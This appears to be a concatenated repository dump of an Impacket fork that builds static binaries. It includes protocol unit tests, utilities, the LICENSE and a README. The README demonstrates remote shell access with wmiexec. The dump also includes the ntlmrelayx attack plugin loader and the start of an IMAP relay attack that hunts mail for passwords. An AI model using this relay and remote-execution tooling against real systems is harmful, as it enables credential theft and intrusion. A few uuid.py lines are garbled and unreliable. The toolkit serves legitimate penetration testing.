#hexdump(encoded) 29 | #decoded = nmb.decode_name(encoded) 30 | #hexdump(decoded) 31 | 32 | #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) 33 | #self.assertTrue(namescope[:15]==decoded[1].strip()) 34 | 35 | def test_getnetbiosname(self): 36 | n = nmb.NetBIOS() 37 | res = n.getnetbiosname(self.machine) 38 | print(repr(res)) 39 | self.assertTrue( self.serverName, res) 40 | 41 | def test_getnodestatus(self): 42 | n = nmb.NetBIOS() 43 | resp = n.getnodestatus(self.serverName.upper(), self.machine) 44 | for r in resp: 45 | r.dump() 46 | print(resp) 47 | 48 | def test_gethostbyname(self): 49 | n = nmb.NetBIOS() 50 | n.set_nameserver(self.serverName) 51 | resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) 52 | print((resp.entries)) 53 | 54 | def test_name_registration_request(self): 55 | n = nmb.NetBIOS() 56 | # ToDo: Look at this 57 | #resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 58 | try: 59 | resp = n.name_registration_request('*JSMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_ONT_P, '1.1.1.2') 60 | resp.dump() 61 | except Exception as e: 62 | print(str(e)) 63 | if str(e).find('NETBIOS') <= 0: 64 | raise e 65 | 66 | def test_name_query_request(self): 67 | n = nmb.NetBIOS() 68 | # ToDo: Look at this 69 | # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') 70 | resp = n.name_query_request(self.serverName, self.machine) 71 | print((resp.entries)) 72 | 73 | class NetBIOSTests(NMBTests): 74 | def setUp(self): 75 | NMBTests.setUp(self) 76 | # Put specific configuration for target machine with SMB1 77 | configFile = ConfigParser.ConfigParser() 78 | configFile.read('dcetests.cfg') 79 | self.serverName = configFile.get('SMBTransport', 'servername') 80 | self.machine = configFile.get('SMBTransport', 'machine') 81 | 82 | if __name__ == "__main__": 83 | suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests) 84 | unittest.TextTestRunner(verbosity=1).run(suite) 85 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Attack Base Class definition 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | import os, sys 19 | import pkg_resources 20 | from impacket import LOG 21 | from threading import Thread 22 | 23 | PROTOCOL_ATTACKS = {} 24 | 25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 26 | # Besides using this base class you need to define one global variable when 27 | # writing a plugin for protocol clients: 28 | # PROTOCOL_ATTACK_CLASS = "" 29 | # or (to support multiple classes in one file) 30 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 33 | class ProtocolAttack(Thread): 34 | PLUGIN_NAMES = ['PROTOCOL'] 35 | def __init__(self, config, client, username): 36 | Thread.__init__(self) 37 | # Set threads as daemon 38 | self.daemon = True 39 | self.config = config 40 | self.client = client 41 | # By default we only use the username and remove the domain 42 | self.username = username.split('/')[1] 43 | 44 | def run(self): 45 | raise RuntimeError('Virtual Function') 46 | 47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 48 | if file.find('__') >= 0 or file.endswith('.py') is False: 49 | continue 50 | # This seems to be None in some case (py3 only) 51 | # __spec__ is py3 only though, but I haven't seen this being None on py2 52 | # so it should cover all cases. 53 | try: 54 | package = __spec__.name # Python 3 55 | except NameError: 56 | package = __package__ # Python 2 57 | __import__(package + '.' + os.path.splitext(file)[0]) 58 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 59 | try: 60 | pluginClasses = set() 61 | try: 62 | if hasattr(module, 'PROTOCOL_ATTACK_CLASSES'): 63 | # Multiple classes 64 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 65 | pluginClasses.add(getattr(module, pluginClass)) 66 | else: 67 | # Single class 68 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 69 | except Exception as e: 70 | LOG.debug(e) 71 | pass 72 | 73 | for pluginClass in pluginClasses: 74 | for pluginName in pluginClass.PLUGIN_NAMES: 75 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 76 | PROTOCOL_ATTACKS[pluginName] = pluginClass 77 | except Exception as e: 78 | LOG.debug(str(e)) 79 | -------------------------------------------------------------------------------- /impacket/uuid.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # Generate UUID compliant with http://www.webdav.org/specs/draft-leach-uuids-guids-01.txt. 9 | # A different, much simpler (not necessarily better) algorithm is used. 10 | # 11 | # Author: 12 | # Javier Kohen (jkohen) 13 | # 14 | from __future__ import absolute_import 15 | from __future__ import print_function 16 | import re 17 | import binascii 18 | 19 | from random import randrange 20 | from struct import pack, unpack 21 | 22 | EMPTY_UUID = b'\x00'*16 23 | 24 | def generate(): 25 | # UHm... crappy Python has an maximum integer of 2**31-1. 26 | top = (1<<31)-1 27 | return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top)) 28 | 29 | def bin_to_string(uuid): 30 | uuid1, uuid2, uuid3 = unpack('HHL', uuid[8:16]) 32 | return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) 33 | 34 | def string_to_bin(uuid): 35 | # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is 36 | if '-' not in uuid: 37 | return binascii.unhexlify(uuid) 38 | 39 | # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID 40 | # The first three components of the UUID are little-endian, and the last two are big-endian 41 | matches = re.match('([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})', uuid) 42 | (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()] 43 | uuid = pack('HHL', uuid4, uuid5, uuid6) 45 | return uuid 46 | 47 | def stringver_to_bin(s): 48 | (maj,min) = s.split('.') 49 | return pack(' 19 | # Javier Kohen 20 | # 21 | # Reference for: 22 | # pcapy: findalldevs, open_live. 23 | # ImpactDecoder. 24 | 25 | import sys 26 | from threading import Thread 27 | import pcapy 28 | from pcapy import findalldevs, open_live 29 | 30 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 31 | 32 | 33 | class DecoderThread(Thread): 34 | def __init__(self, pcapObj): 35 | # Query the type of the link and instantiate a decoder accordingly. 36 | datalink = pcapObj.datalink() 37 | if pcapy.DLT_EN10MB == datalink: 38 | self.decoder = EthDecoder() 39 | elif pcapy.DLT_LINUX_SLL == datalink: 40 | self.decoder = LinuxSLLDecoder() 41 | else: 42 | raise Exception("Datalink type not supported: " % datalink) 43 | 44 | self.pcap = pcapObj 45 | Thread.__init__(self) 46 | 47 | def run(self): 48 | # Sniff ad infinitum. 49 | # PacketHandler shall be invoked by pcap for every packet. 50 | self.pcap.loop(0, self.packetHandler) 51 | 52 | def packetHandler(self, hdr, data): 53 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 54 | # of ImpactPacket instances. 55 | # Display the packet in human-readable form. 56 | print(self.decoder.decode(data)) 57 | 58 | 59 | def getInterface(): 60 | # Grab a list of interfaces that pcap is able to listen on. 61 | # The current user will be able to listen from all returned interfaces, 62 | # using open_live to open them. 63 | ifs = findalldevs() 64 | 65 | # No interfaces available, abort. 66 | if 0 == len(ifs): 67 | print("You don't have enough permissions to open any interface on this system.") 68 | sys.exit(1) 69 | 70 | # Only one interface available, use it. 71 | elif 1 == len(ifs): 72 | print('Only one interface present, defaulting to it.') 73 | return ifs[0] 74 | 75 | # Ask the user to choose an interface from the list. 76 | count = 0 77 | for iface in ifs: 78 | print('%i - %s' % (count, iface)) 79 | count += 1 80 | idx = int(input('Please select an interface: ')) 81 | 82 | return ifs[idx] 83 | 84 | def main(filter): 85 | dev = getInterface() 86 | 87 | # Open interface for catpuring. 88 | p = open_live(dev, 1500, 0, 100) 89 | 90 | # Set the BPF filter. See tcpdump(3). 91 | p.setfilter(filter) 92 | 93 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 94 | 95 | # Start sniffing thread and finish main thread. 96 | DecoderThread(p).start() 97 | 98 | # Process command-line arguments. Take everything as a BPF filter to pass 99 | # onto pcap. Default to the empty filter (match all). 100 | filter = '' 101 | if len(sys.argv) > 1: 102 | filter = ' '.join(sys.argv[1:]) 103 | 104 | main(filter) 105 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Licencing 2 | --------- 3 | 4 | We provide this software under a slightly modified version of the 5 | Apache Software License. The only changes to the document were the 6 | replacement of "Apache" with "Impacket" and "Apache Software Foundation" 7 | with "SecureAuth Corporation". Feel free to compare the resulting 8 | document to the official Apache license. 9 | 10 | The `Apache Software License' is an Open Source Initiative Approved 11 | License. 12 | 13 | 14 | The Apache Software License, Version 1.1 15 | Modifications by SecureAuth Corporation (see above) 16 | 17 | Copyright (c) 2000 The Apache Software Foundation. All rights 18 | reserved. 19 | 20 | Redistribution and use in source and binary forms, with or without 21 | modification, are permitted provided that the following conditions 22 | are met: 23 | 24 | 1. Redistributions of source code must retain the above copyright 25 | notice, this list of conditions and the following disclaimer. 26 | 27 | 2. Redistributions in binary form must reproduce the above copyright 28 | notice, this list of conditions and the following disclaimer in 29 | the documentation and/or other materials provided with the 30 | distribution. 31 | 32 | 3. The end-user documentation included with the redistribution, 33 | if any, must include the following acknowledgment: 34 | "This product includes software developed by 35 | SecureAuth Corporation (https://www.secureauth.com/)." 36 | Alternately, this acknowledgment may appear in the software itself, 37 | if and wherever such third-party acknowledgments normally appear. 38 | 39 | 4. The names "Impacket", "SecureAuth Corporation" must 40 | not be used to endorse or promote products derived from this 41 | software without prior written permission. For written 42 | permission, please contact oss@secureauth.com. 43 | 44 | 5. Products derived from this software may not be called "Impacket", 45 | nor may "Impacket" appear in their name, without prior written 46 | permission of SecureAuth Corporation. 47 | 48 | THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED 49 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 50 | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 51 | DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR 52 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 53 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 54 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF 55 | USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 56 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 57 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 58 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 59 | SUCH DAMAGE. 60 | 61 | 62 | 63 | Smb.py and nmb.py are based on Pysmb by Michael Teo 64 | (https://miketeo.net/projects/pysmb/), and are distributed under the 65 | following license: 66 | 67 | This software is provided 'as-is', without any express or implied 68 | warranty. In no event will the author be held liable for any damages 69 | arising from the use of this software. 70 | 71 | Permission is granted to anyone to use this software for any purpose, 72 | including commercial applications, and to alter it and redistribute it 73 | freely, subject to the following restrictions: 74 | 75 | 1. The origin of this software must not be misrepresented; you must 76 | not claim that you wrote the original software. If you use this 77 | software in a product, an acknowledgment in the product 78 | documentation would be appreciated but is not required. 79 | 80 | 2. Altered source versions must be plainly marked as such, and must 81 | not be misrepresented as being the original software. 82 | 83 | 3. This notice cannot be removed or altered from any source 84 | distribution. 85 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Impacket Static Binaries 2 | [![CircleCI](https://circleci.com/gh/ropnop/impacket_static_binaries.svg?style=svg)](https://circleci.com/gh/ropnop/impacket_static_binaries) [Get Latest Binaries Here](https://github.com/ropnop/impacket_static_binaries/releases/latest) 3 | 4 | ## Description 5 | This repository is a fork of the amazing Impacket project available here: https://github.com/SecureAuthCorp/impacket 6 | 7 | This fork has a CircleCI pipeline to create stand-alone executables for both Windows and Linux x64 of all the Impacket example scripts and upload the binaries to this project's github releases. 8 | 9 | It's using [PyInstaller](http://www.pyinstaller.org/) to create both the Windows and Linux executables. The Windows binaries are built with Wine using cdrx's docker image: https://github.com/cdrx/docker-pyinstaller 10 | 11 | For maximum compatibility, the Linux binaries are built with the oldest version of glibc I could find - CentOS 5 running Glibc 2.5: https://github.com/ropnop/centos5_python27_docker. These binaries should work with any version of glibc newer than 2.5. 12 | 13 | I've also compiled all the Linux binaries against [musl](https://www.musl-libc.org/) instead of glibc in case you land in a lightweight container (e.g. Alpine) that doesn't use glibc. These are all bundled up in a file on the releases page called `impacket_musl_binaries.tar.gz`. 14 | 15 | ## Usage 16 | If you are operating in a restricted environment that either doesn't have Python (or you don't want to disturb any existing python packages), you should be able to download and execute the Impacket examples from the releases page. 17 | 18 | For example, it's possible to run `wmiexec.py` inside a barebones Ubuntu container that doesn't even have Python installed: 19 | 20 | ``` 21 | $ python 22 | bash: python: command not found 23 | $ curl -s -o wmiexec -L https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-dev-binaries/wmiexec_linux_x86_64 24 | $ chmod +x wmiexec 25 | $ ./wmiexec LAB/agreen@192.168.98.161 26 | Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation 27 | 28 | Password: 29 | [*] SMBv2.1 dialect used 30 | [!] Launching semi-interactive shell - Careful what you execute 31 | [!] Press help for extra shell commands 32 | C:\>whoami 33 | lab\agreen 34 | ``` 35 | 36 | ### Building 37 | If you'd like to build the binaries locally, I've included a Makefile and build scripts that essentially do the exact same thing CircleCI does. You need to run the build scripts inside the correct Dockerimage (the make targets take care of that for you). 38 | 39 | ``` 40 | $ make help 41 | help: Show this help 42 | all: linux musl windows (Build everything) 43 | linux: Build linux_x64 Binaries in Docker 44 | musl: Build linux_x64 binaries against musl in Alpine Linux Docker 45 | windows: Build Windows_x64 binaries 46 | clean: cleanspec Remove all build artifacts 47 | cleanspec: Remove spec files 48 | ``` 49 | 50 | To build all the Linux binaries for example: `make linux`. This will output all the binaries in the `./dist` directory for you. 51 | 52 | ## Known issues 53 | `ntlmrelayx` and `smbrelayx` aren't working properly yet. They do some custom loading that PyInstaller doesn't like. Still working on that... 54 | 55 | Currently, `wmiexec.py`, `psexec.py` and `dcomexec.py` are hardcoded to use UTF-8 in the built binaries. There's some issues with Pyinstaller and calling `sys.stdout.encoding`. If you need something other than UTF-8, you'll have to rebuild on your own for now. Still working on this.... 56 | 57 | Currently glibc >= 2.5 is required. Eventually I'd like to look at building against musl (so they could work in Alpine linux for example) 58 | 59 | I also haven't fully tested every example, so no guarantees. If you discover something that's not working as intended, please file an issue and let me know. 60 | 61 | Enjoy! 62 | -ropnop 63 | 64 | PS shout out to maaaaz for the inspiration! https://github.com/maaaaz/impacket-examples-windows 65 | -------------------------------------------------------------------------------- /tests/dot11/test_Dot11Base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.dot11 import Dot11, Dot11Types 7 | import unittest 8 | 9 | class TestDot11Common(unittest.TestCase): 10 | 11 | def setUp(self): 12 | # Frame control field 13 | a=b'\xd4\x00\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e' 14 | self.dot11fc=Dot11(a) 15 | 16 | def test_01_HeaderSize(self): 17 | 'Test Header Size field' 18 | self.assertEqual(self.dot11fc.get_header_size(), 2) 19 | 20 | def test_01_TailSize(self): 21 | 'Test Tail Size field' 22 | self.assertEqual(self.dot11fc.get_tail_size(), 4) 23 | 24 | def test_02_Version(self): 25 | 'Test Version field' 26 | self.assertEqual(self.dot11fc.get_version(), 0) 27 | self.dot11fc.set_version(3) 28 | self.assertEqual(self.dot11fc.get_version(), 3) 29 | 30 | def test_03_Type(self): 31 | 'Test Type field' 32 | self.assertEqual(self.dot11fc.get_type(), 1) 33 | self.dot11fc.set_type(3) 34 | self.assertEqual(self.dot11fc.get_type(), 3) 35 | 36 | def test_04_SubType(self): 37 | 'Test Subtype field' 38 | self.assertEqual(self.dot11fc.get_subtype(),13) 39 | self.dot11fc.set_subtype(5) 40 | self.assertEqual(self.dot11fc.get_subtype(),5) 41 | 42 | def test_05_ToDS(self): 43 | 'Test toDS field' 44 | self.assertEqual(self.dot11fc.get_toDS(),0) 45 | self.dot11fc.set_toDS(1) 46 | self.assertEqual(self.dot11fc.get_toDS(),1) 47 | 48 | def test_06_FromDS(self): 49 | 'Test fromDS field' 50 | self.assertEqual(self.dot11fc.get_fromDS(),0) 51 | self.dot11fc.set_fromDS(1) 52 | self.assertEqual(self.dot11fc.get_fromDS(),1) 53 | 54 | def test_07_MoreFrag(self): 55 | 'Test More Frag field' 56 | self.assertEqual(self.dot11fc.get_moreFrag(),0) 57 | self.dot11fc.set_moreFrag(1) 58 | self.assertEqual(self.dot11fc.get_moreFrag(),1) 59 | 60 | def test_08_Retry(self): 61 | 'Test Retry field' 62 | self.assertEqual(self.dot11fc.get_retry(),0) 63 | self.dot11fc.set_retry(1) 64 | self.assertEqual(self.dot11fc.get_retry(),1) 65 | 66 | def test_09_PowerManagement(self): 67 | 'Test Power Management field' 68 | self.assertEqual(self.dot11fc.get_powerManagement(),0) 69 | self.dot11fc.set_powerManagement(1) 70 | self.assertEqual(self.dot11fc.get_powerManagement(),1) 71 | 72 | def test_10_MoreData(self): 73 | 'Test More Data field' 74 | self.assertEqual(self.dot11fc.get_moreData(),0) 75 | self.dot11fc.set_moreData(1) 76 | self.assertEqual(self.dot11fc.get_moreData(),1) 77 | 78 | # def test_11_WEP(self): 79 | # 'Test WEP field' 80 | # self.assertEqual(self.dot11fc.get_WEP(),0) 81 | # self.dot11fc.set_WEP(1) 82 | # self.assertEqual(self.dot11fc.get_WEP(),1) 83 | 84 | 85 | def test_12_Order(self): 86 | 'Test Order field' 87 | self.assertEqual(self.dot11fc.get_order(),0) 88 | self.dot11fc.set_order(1) 89 | self.assertEqual(self.dot11fc.get_order(),1) 90 | 91 | def test_13_latest(self): 92 | 'Test complete frame hexs' 93 | self.dot11fc.set_type_n_subtype(Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL) 94 | self.dot11fc.set_order(1) 95 | self.dot11fc.set_moreData(1) 96 | self.dot11fc.set_retry(1) 97 | self.dot11fc.set_fromDS(1) 98 | 99 | frame=self.dot11fc.get_packet() 100 | 101 | self.assertEqual(frame, b'\xa4\xaa\x00\x00\x00\x08\x54\xac\x2f\x85\xb7\x7f\xc3\x9e') 102 | 103 | 104 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11Common) 105 | unittest.TextTestRunner(verbosity=1).run(suite) 106 | -------------------------------------------------------------------------------- /tests/SMB_RPC/test_spnego.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from impacket import smb 4 | 5 | class Test(unittest.TestCase): 6 | def setUp(self): 7 | self.negTokenInit = b'\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 8 | 9 | self.negTokenInit2 = b'\x60\x4d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x43\x30\x41\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2f\x04\x2d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x15\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x04\x00\x04\x00\x29\x00\x00\x00\x57\x4f\x52\x4b\x47\x52\x4f\x55\x50\x4a\x41\x43\x4b' 10 | 11 | self.negTokenResp1 = b'\xa1\x82\x01\x0b\x30\x82\x01\x07\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xf1\x04\x81\xee\x4e\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x1e\x00\x1e\x00\x38\x00\x00\x00\x15\x82\x8a\x62\x29\x93\x18\x15\x3d\x3b\x0d\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x98\x00\x56\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x02\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x01\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x04\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x03\x00\x1e\x00\x57\x00\x49\x00\x4e\x00\x2d\x00\x41\x00\x36\x00\x4b\x00\x50\x00\x55\x00\x30\x00\x54\x00\x31\x00\x52\x00\x36\x00\x53\x00\x07\x00\x08\x00\x52\xe8\x2b\x20\x70\x30\xcd\x01\x00\x00\x00\x00' 12 | 13 | self.negTokenResp2 = b'\xa1\x81\xab\x30\x81\xa8\xa2\x81\xa5\x04\x81\xa2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x18\x00\x18\x00\x40\x00\x00\x00\x18\x00\x18\x00\x58\x00\x00\x00\x12\x00\x12\x00\x70\x00\x00\x00\x08\x00\x08\x00\x82\x00\x00\x00\x08\x00\x08\x00\x8a\x00\x00\x00\x10\x00\x10\x00\x92\x00\x00\x00\x15\x82\x08\x60\x24\x7f\xec\x6e\x53\x09\x86\x8a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x99\x24\xd3\x12\xd5\x95\xe1\x33\xba\xfa\x00\x3e\xe3\xfd\x58\x63\xbd\x3e\x83\x0d\x4e\x71\xdc\x57\x00\x4f\x00\x52\x00\x4b\x00\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x74\x00\x65\x00\x73\x00\x74\x00\x4a\x00\x41\x00\x43\x00\x4b\x00\x32\xd2\x67\xd6\xa5\xa9\x4b\x97\x2a\xaf\x45\xee\x87\x58\x0c\x6d' 14 | 15 | self.negTokenResp3 = b'\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00' 16 | 17 | self.negTokenResp4 = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 18 | 19 | def test_negTokenInit(self): 20 | token = smb.SPNEGO_NegTokenInit() 21 | token.fromString(self.negTokenInit) 22 | self.assertTrue(self.negTokenInit, token.getData()) 23 | 24 | def test_negTokenInit2(self): 25 | token = smb.SPNEGO_NegTokenInit() 26 | token.fromString(self.negTokenInit2) 27 | self.assertTrue(self.negTokenInit2, token.getData()) 28 | 29 | def test_negTokenResp1(self): 30 | token = smb.SPNEGO_NegTokenResp() 31 | token.fromString(self.negTokenResp1) 32 | self.assertTrue(self.negTokenResp1, token.getData()) 33 | 34 | def test_negTokenResp2(self): 35 | token = smb.SPNEGO_NegTokenResp() 36 | token.fromString(self.negTokenResp2) 37 | self.assertTrue(self.negTokenResp2, token.getData()) 38 | 39 | def test_negTokenResp3(self): 40 | token = smb.SPNEGO_NegTokenResp() 41 | token.fromString(self.negTokenResp3) 42 | self.assertTrue(self.negTokenResp3, token.getData()) 43 | 44 | def test_negTokenResp4(self): 45 | token = smb.SPNEGO_NegTokenResp() 46 | token['NegState'] = b'\x03' # request-mic 47 | token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 48 | self.assertTrue(self.negTokenResp4, token.getData()) 49 | 50 | if __name__ == "__main__": 51 | unittest.main() 52 | -------------------------------------------------------------------------------- /examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: 9 | # ESE utility. Allows dumping catalog, pages and tables. 10 | # 11 | # Author: 12 | # Alberto Solino (@agsolino) 13 | # 14 | # 15 | # Reference for: 16 | # Extensive Storage Engine (ese) 17 | # 18 | from __future__ import division 19 | from __future__ import print_function 20 | import sys 21 | import logging 22 | import argparse 23 | 24 | from impacket.examples import logger 25 | from impacket import version 26 | from impacket.ese import ESENT_DB 27 | 28 | 29 | def dumpPage(ese, pageNum): 30 | data = ese.getPage(pageNum) 31 | data.dump() 32 | 33 | def exportTable(ese, tableName): 34 | cursor = ese.openTable(tableName) 35 | if cursor is None: 36 | logging.error('Can"t get a cursor for table: %s' % tableName) 37 | return 38 | 39 | i = 1 40 | print("Table: %s" % tableName) 41 | while True: 42 | try: 43 | record = ese.getNextRow(cursor) 44 | except Exception: 45 | logging.debug('Exception:', exc_info=True) 46 | logging.error('Error while calling getNextRow(), trying the next one') 47 | continue 48 | 49 | if record is None: 50 | break 51 | print("*** %d" % i) 52 | for j in list(record.keys()): 53 | if record[j] is not None: 54 | print("%-30s: %r" % (j, record[j])) 55 | i += 1 56 | 57 | def main(): 58 | print(version.BANNER) 59 | # Init the example's logger theme 60 | logger.init() 61 | 62 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 63 | "catalog, pages and tables.") 64 | parser.add_argument('databaseFile', action='store', help='ESE to open') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | parser.add_argument('-page', action='store', help='page to open') 67 | 68 | subparsers = parser.add_subparsers(help='actions', dest='action') 69 | 70 | # dump page 71 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 72 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 73 | 74 | # info page 75 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 76 | 77 | # export page 78 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 79 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 80 | 81 | if len(sys.argv)==1: 82 | parser.print_help() 83 | sys.exit(1) 84 | 85 | options = parser.parse_args() 86 | 87 | if options.debug is True: 88 | logging.getLogger().setLevel(logging.DEBUG) 89 | # Print the Library's installation path 90 | logging.debug(version.getInstallationPath()) 91 | else: 92 | logging.getLogger().setLevel(logging.INFO) 93 | 94 | ese = ESENT_DB(options.databaseFile) 95 | 96 | try: 97 | if options.action.upper() == 'INFO': 98 | ese.printCatalog() 99 | elif options.action.upper() == 'DUMP': 100 | dumpPage(ese, int(options.page)) 101 | elif options.action.upper() == 'EXPORT': 102 | exportTable(ese, options.table) 103 | else: 104 | raise Exception('Unknown action %s ' % options.action) 105 | except Exception as e: 106 | if logging.getLogger().level == logging.DEBUG: 107 | import traceback 108 | traceback.print_exc() 109 | print(e) 110 | ese.close() 111 | 112 | 113 | if __name__ == '__main__': 114 | main() 115 | sys.exit(1) 116 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/imapattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # IMAP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # IMAP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | import re 19 | import os 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 22 | 23 | PROTOCOL_ATTACK_CLASS = "IMAPAttack" 24 | 25 | class IMAPAttack(ProtocolAttack): 26 | """ 27 | This is the default IMAP(s) attack. By default it searches the INBOX imap folder 28 | for messages with "password" in the header or body. Alternate keywords can be specified 29 | on the command line. For more advanced 